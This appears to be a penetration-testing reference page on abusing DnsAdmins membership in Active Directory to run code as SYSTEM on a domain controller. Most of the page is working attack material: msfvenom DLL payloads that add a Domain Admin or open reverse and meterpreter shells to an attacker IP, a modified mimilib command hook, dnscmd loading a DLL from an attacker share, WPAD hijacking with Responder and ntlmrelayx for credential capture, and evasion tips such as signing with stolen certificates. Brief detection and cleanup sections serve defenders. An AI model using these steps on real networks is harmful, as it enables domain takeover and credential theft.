DnsAdmins
A member of the DnsAdmins group can specify an arbitrary DLL path for the DNS service to load via the ServerLevelPluginDll registry value. The DNS service runs as NT AUTHORITY\SYSTEM, and on a Domain Controller DNS is typically co-located - so the loaded DLL executes as SYSTEM on the DC. From SYSTEM on a DC, NTDS.dit dump and golden ticket forging are straightforward.
# Confirm membershipwhoami /groups | findstr DnsAdminsGet-ADGroupMember -Identity DnsAdmins
# Generate malicious DLL (attacker host)msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
# Stage DLL and point DNS at itcopy adduser.dll C:\Users\netadm\Desktop\adduser.dlldnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
# Restart the DNS service to load the DLLsc stop dns && sc start dns# or: net stop dns && net start dns
# Verifynet group "Domain Admins" /domainSuccess indicator: arbitrary code execution as SYSTEM on the Domain Controller - net group membership change, reverse shell as SYSTEM, or persistence implant deployed.
Why this works
Section titled “Why this works”DNS in an Active Directory forest is almost always integrated with the Domain Controllers - every DC typically runs the DNS Server service so that AD-integrated DNS zones replicate via AD replication rather than zone transfers. The DNS service runs as NT AUTHORITY\SYSTEM.
Microsoft designed the DNS service to support custom plugin DLLs. When a name resolution query falls outside any locally-hosted zone, the service consults the path stored in HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll. If that value is populated, the DLL is loaded into the DNS service process. Since the service runs as SYSTEM, the DLL executes as SYSTEM.
The privilege escalation: the DnsAdmins group has rights to set ServerLevelPluginDll via the dnscmd.exe RPC interface. There is no path validation - the value can point to any DLL accessible to the DNS service. A DnsAdmins member who is not otherwise an administrator can write the value, restart DNS, and gain SYSTEM execution on the DC.
The composition matters: SYSTEM on the DC has access to NTDS.dit, the SAM and SYSTEM registry hives, the krbtgt account’s NT hash, every domain user’s NT hash, and every Kerberos service account key. SYSTEM on a DC is functionally equivalent to Domain Admin plus all account credentials.
DnsAdmins is therefore treated as a tier-0 group in any sound AD security model, despite its name suggesting a narrow administrative scope.
Confirming membership
Section titled “Confirming membership”C:\> whoami /groups | findstr -i dnsadmins
INLANEFREIGHT\DnsAdmins Group S-1-5-21-...-1106 Mandatory group, Enabled by defaultOr query AD directly:
PS> Get-ADGroupMember -Identity DnsAdmins
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCALname : netadmobjectClass : userobjectGUID : 1a1ac159-f364-4805-a4bb-7153051a8c14SamAccountName : netadmSID : S-1-5-21-669053619-2741956077-1013132368-1109If the current user isn’t a member but the engagement involves AD object ACL abuse (e.g., GenericWrite over the DnsAdmins group), the path is to add the controlled account first, then proceed.
Generating the payload DLL
Section titled “Generating the payload DLL”The DLL must export DllMain and perform the action of choice on DLL_PROCESS_ATTACH. For simple actions, msfvenom builds this in one command.
msfvenom - add to Domain Admins
Section titled “msfvenom - add to Domain Admins”$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x64 from the payloadNo encoder specified, outputting raw payloadPayload size: 313 bytesFinal size of dll file: 5120 bytesSaved as: adduser.dllArchitecture note: match the DLL architecture to the DNS service architecture. Modern Windows Server DCs are x64; use windows/x64/exec. Older Server 2008 R2 DCs may still be x64 (most are), but verify with systeminfo on the target before generating.
msfvenom - reverse shell
Section titled “msfvenom - reverse shell”$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll -o revshell.dllPair with nc -lvnp 8443 on the attacker. The DNS service will spawn the reverse shell as SYSTEM when it loads the DLL.
msfvenom - meterpreter
Section titled “msfvenom - meterpreter”$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f dll -o meter.dllCatch with msfconsole -r handler.rc configured for the same payload type. Meterpreter is more capable for post-exploitation but more heavily signatured.
Pre-built mimilib.dll variant
Section titled “Pre-built mimilib.dll variant”Benjamin Delpy’s mimilib (companion to mimikatz) ships a DNS plugin variant that logs DNS queries and can execute commands. Modify kdns.c before compiling:
DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead){ FILE * kdns_logfile; if(kdns_logfile = _wfopen(L"kiwidns.log", L"a")) { klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType); fclose(kdns_logfile); system("ENTER COMMAND HERE"); // ← attacker command runs as SYSTEM per query } return ERROR_SUCCESS;}Compile mimilib with the modified source, drop the resulting mimilib.dll to the target, and use it as the ServerLevelPluginDll value. The advantage over a single-shot msfvenom DLL: every DNS query the service processes triggers the system() call, giving persistence-style execution rather than a one-time payload. The disadvantage: each query spawns a process, which is noisy.
Staging the DLL
Section titled “Staging the DLL”The path used in ServerLevelPluginDll must be readable by the DNS service (which runs as SYSTEM, so almost any path works). Common staging locations:
C:\Users\<dnsadmin>\Desktop\- works ifdnsadminis a real user with a profile and the desktop is writableC:\Windows\Temp\- writable byBUILTIN\Users, accessible by SYSTEMC:\ProgramData\- similar properties
A network share path (\\attacker\share\adduser.dll) also works because the DC machine account can read attacker-controlled SMB shares - but this generates extra noise and may fail in environments with SMB egress filtering.
For the canonical Inlanefreight-style scenario where netadm is a domain user member of DnsAdmins with RDP to a member server:
C:\> copy adduser.dll C:\Users\netadm\Desktop\adduser.dllFor non-RDP contexts, drop via SMB:
$ smbclient -U netadm //DC01/C$smb: \> cd Users\netadm\Desktopsmb: \Users\netadm\Desktop\> put adduser.dllOr via the same SMB mechanism that delivered other tools to the host.
Setting the registry value
Section titled “Setting the registry value”The dnscmd.exe utility is the supported interface for DnsAdmins to configure the DNS service. Direct registry writes by DnsAdmins members fail - the group has no direct rights on HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters. The DNS service exposes RPC methods that dnscmd.exe invokes, which then perform the registry write as SYSTEM on behalf of the caller.
From an unprivileged shell
Section titled “From an unprivileged shell”If the user isn’t in DnsAdmins, the command fails:
C:\> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
DNS Server failed to reset registry property. Status = 5 (0x00000005)Command failed: ERROR_ACCESS_DENIEDERROR_ACCESS_DENIED is the indicator that the current user isn’t a DnsAdmins member.
As a DnsAdmins member
Section titled “As a DnsAdmins member”C:\> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
Registry property serverlevelplugindll successfully reset.Command completed successfully.The full absolute path is required - relative paths and PATH-style lookups fail. UNC paths to remote shares also work if SMB egress is open from the DC.
Targeting a remote DC
Section titled “Targeting a remote DC”If you have DnsAdmins on the domain but not interactive access to the DC, dnscmd accepts a remote DC as the first argument:
C:\> dnscmd.exe DC01.inlanefreight.local /config /serverlevelplugindll \\10.10.14.3\share\adduser.dllThis is the variant most useful for engagements where DnsAdmins membership exists on a workstation that doesn’t itself host DNS - write to the DC remotely.
Restarting the DNS service
Section titled “Restarting the DNS service”The DLL is only loaded when the DNS service starts. Setting ServerLevelPluginDll doesn’t trigger an immediate load - the service must restart.
Verifying service control rights
Section titled “Verifying service control rights”DnsAdmins membership doesn’t automatically include service-restart rights on the DNS service. Check before assuming:
C:\> wmic useraccount where name="netadm" get sid
SIDS-1-5-21-669053619-2741956077-1013132368-1109
C:\> sc.exe sdshow DNS
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)Look for the user’s SID in the SDDL. The ACE (A;;RPWP;;;<USER_SID>) grants SERVICE_START (RP) and SERVICE_STOP (WP) to the user. In the example above, netadm has RPWP on the DNS service - enough to restart.
If the SID isn’t listed with start/stop rights, the operator can’t trigger immediate execution and must wait for a natural service restart (server reboot, scheduled maintenance, or a DNS service crash). This is unreliable for time-boxed engagements.
For SDDL syntax reference: A = Allow ACE; RP = SERVICE_START; WP = SERVICE_STOP; LC = SERVICE_QUERY_STATUS; DC = SERVICE_CHANGE_CONFIG; SW = SERVICE_ENUMERATE_DEPENDENTS; LO = SERVICE_INTERROGATE; CR = SERVICE_USER_DEFINED_CONTROL; RC = READ_CONTROL; WD = WRITE_DAC; WO = WRITE_OWNER.
Stopping and starting
Section titled “Stopping and starting”C:\> sc stop dns
SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
C:\> sc start dns
SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDINGThe start may show as START_PENDING followed by an error if the DLL is malformed or if the DNS service crashes after loading it (common with one-shot msfvenom payloads - the payload runs, but the service fails to provide DNS resolution).
Alternate restart commands
Section titled “Alternate restart commands”PowerShell sometimes refuses sc start from a non-elevated console. The CMD equivalents are reliable:
C:\> net stop dnsC:\> net start dnsOr:
PS> Restart-Service -Name DNS -ForceIf the DNS service crashes during the malicious DLL load, the net start may fail with a generic error - but the payload has already run by then. Check the actual effect (e.g., net group "Domain Admins" /domain for an add-user payload) rather than relying on the service-restart command’s return code.
Verifying success
Section titled “Verifying success”For the add-to-Domain-Admins variant:
C:\> net group "Domain Admins" /domain
Group name Domain AdminsComment Designated administrators of the domain
Members
-------------------------------------------------------------------------------Administrator netadmThe command completed successfully.netadm appearing in the Domain Admins list confirms the DLL executed as SYSTEM on the DC. The new membership doesn’t take effect for the current session - log out and back in as netadm, or use the credentials for a fresh authentication, to receive a token with Domain Admin group SID.
For the reverse-shell variant, the listener catches a SYSTEM-context shell from the DC. For the meterpreter variant, the handler shows Server username: NT AUTHORITY\SYSTEM on the DC.
Cleaning up
Section titled “Cleaning up”This attack is destructive - both because the DNS service may be left in a non-functional state, and because the ServerLevelPluginDll registry value persists across reboots, causing the malicious DLL to load every time DNS starts.
Removing the registry value
Section titled “Removing the registry value”C:\> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters GlobalQueryBlockList REG_MULTI_SZ wpad\0isatap EnableGlobalQueryBlockList REG_DWORD 0x1 Forwarders REG_MULTI_SZ 1.1.1.1\08.8.8.8 ServerLevelPluginDll REG_SZ C:\Users\netadm\Desktop\adduser.dll
C:\> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Delete the registry value ServerLevelPluginDll (Yes/No)? YThe operation completed successfully.The reg-delete works from a SYSTEM context (which the operator now has via the privesc) or from an existing admin account. From the original DnsAdmins context it fails - DnsAdmins doesn’t have direct registry write.
After deletion, restart DNS once more to clear any cached state:
C:\> sc start dnsVerify the service is healthy:
C:\> sc query dns
SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNINGAnd confirm DNS resolution works via nslookup against the DC.
Removing the malicious DLL
Section titled “Removing the malicious DLL”C:\> del C:\Users\netadm\Desktop\adduser.dllFor engagements where the new Domain Admin account was created, remove it:
C:\> net group "Domain Admins" netadm /delete /domainThe WPAD record alternative
Section titled “The WPAD record alternative”When DLL loading isn’t feasible - too noisy, blocked by AMSI/EDR, or DNS service is unstable after the load - DnsAdmins can be abused via a DNS record manipulation instead. The technique: disable the DNS global-query-block list, then create a wpad record pointing at the attacker.
Background
Section titled “Background”Windows clients by default look up wpad.<domain> to find a Web Proxy Auto-Discovery Protocol configuration. If they get an answer, they proxy traffic through the address it points to. This is exploitable: an attacker hosting a proxy on that address captures authenticated HTTP traffic (including NTLM challenge-response that can be relayed or cracked offline).
Microsoft mitigated this in Server 2008+ by adding wpad and isatap to a global-query-block list - even if a wpad record exists in DNS, the server refuses to answer the query. The block list lives in HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\GlobalQueryBlockList.
DnsAdmins members can disable the block list, which re-enables WPAD-based attacks across the domain.
Disabling the block list
Section titled “Disabling the block list”PS> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.localOr via the legacy interface:
C:\> dnscmd.exe DC01.inlanefreight.local /config /enableglobalqueryblocklist 0Creating the WPAD record
Section titled “Creating the WPAD record”PS> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3The IP points at the attacker host. Now domain clients resolving wpad.inlanefreight.local (which they do automatically on network join) will direct their web traffic to the attacker.
Capturing credentials
Section titled “Capturing credentials”On the attacker:
$ sudo responder -wrf -v -I tun0or:
$ python3 ntlmrelayx.py -tf targets.txt -smb2supportThe captured NTLMv2 hashes can be cracked offline with hashcat (mode 5600), or relayed live to other services with ntlmrelayx.py to gain access without ever cracking.
This approach doesn’t directly give SYSTEM on the DC, but it provides a steady stream of credentials and lateral movement opportunities across the domain - sometimes more valuable than a single SYSTEM shell on one machine.
Operational considerations
Section titled “Operational considerations”Detection
Section titled “Detection”The technique generates strong telemetry:
- Event 4657 (registry value modified) on
ServerLevelPluginDll- almost never legitimately changed - Sysmon event 13 (registry value set) on the same value
- DNS service stop/start events in the System log - pairs with the registry change
- Process creation from the DNS service (
dns.exeparent) -dns.exedoesn’t normally spawn child processes;dns.exe → cmd.exeis highly anomalous - Sysmon event 7 (image loaded) showing a non-Microsoft-signed DLL loaded by
dns.exe - Microsoft Defender for Identity alerts specifically on this attack pattern
For evasive ops:
- Use a DLL with no obvious payload - just open a port or write a marker file, then chain the SYSTEM access into a subsequent technique
- Sign the DLL with a stolen or legitimate code-signing certificate if one is available
- Time the attack during a window where DNS service restarts are expected (e.g., during scheduled maintenance)
Why this isn’t fixed
Section titled “Why this isn’t fixed”Microsoft considers DnsAdmins-to-SYSTEM-on-DC a configuration issue rather than a vulnerability. The DnsAdmins group exists to administer DNS, and DNS administration includes the ability to load plugin DLLs. The recommendation from Microsoft is to treat DnsAdmins as a tier-0 group - equivalent to Domain Admin from a risk perspective - and protect membership accordingly.
In practice, many organizations populate DnsAdmins with help-desk or junior infrastructure staff who don’t have Domain Admin rights. This is a misconfiguration in the operational sense even though no specific Windows bug exists.
Quick reference
Section titled “Quick reference”| Task | Pattern |
|---|---|
| Confirm DnsAdmins membership | whoami /groups | findstr DnsAdmins |
| List DnsAdmins members (AD) | Get-ADGroupMember -Identity DnsAdmins |
| Generate add-user DLL | msfvenom -p windows/x64/exec cmd='net group "domain admins" USER /add /domain' -f dll -o add.dll |
| Generate reverse-shell DLL | msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o rev.dll |
| Generate meterpreter DLL | msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT -f dll -o meter.dll |
| Stage DLL locally | copy payload.dll C:\Users\netadm\Desktop\ |
| Stage DLL via SMB | smbclient //DC/C$ -U dnsadmin → put payload.dll |
| Set ServerLevelPluginDll (local DC) | dnscmd.exe /config /serverlevelplugindll C:\path\payload.dll |
| Set ServerLevelPluginDll (remote DC) | dnscmd.exe DC01.domain /config /serverlevelplugindll \\attacker\share\payload.dll |
| Check restart rights on DNS | sc sdshow DNS - look for user SID with RPWP |
| Restart DNS service (sc) | sc stop dns && sc start dns |
| Restart DNS service (net) | net stop dns && net start dns |
| Restart DNS service (PS) | Restart-Service -Name DNS -Force |
| Verify add-user success | net group "Domain Admins" /domain |
| Cleanup - remove registry value | reg delete \\DC\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll |
| Cleanup - restart DNS clean | sc start dns |
| Alternative - disable WPAD block | Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName DC |
| Alternative - add WPAD record | Add-DnsServerResourceRecordA -Name wpad -ZoneName DOMAIN -IPv4Address ATTACKER -ComputerName DC |
| Capture WPAD-relayed creds | sudo responder -wrf -I tun0 or ntlmrelayx.py -tf targets.txt -smb2support |
| Detection signal | Event 4657 on ServerLevelPluginDll, Sysmon 7 on dns.exe loading non-MS DLL |
For the post-exploitation path from SYSTEM on a DC, see Backup Operators (NTDS.dit dump). For other tier-0-equivalent groups, see Other privileged groups (Hyper-V Administrators, Print Operators, Server Operators).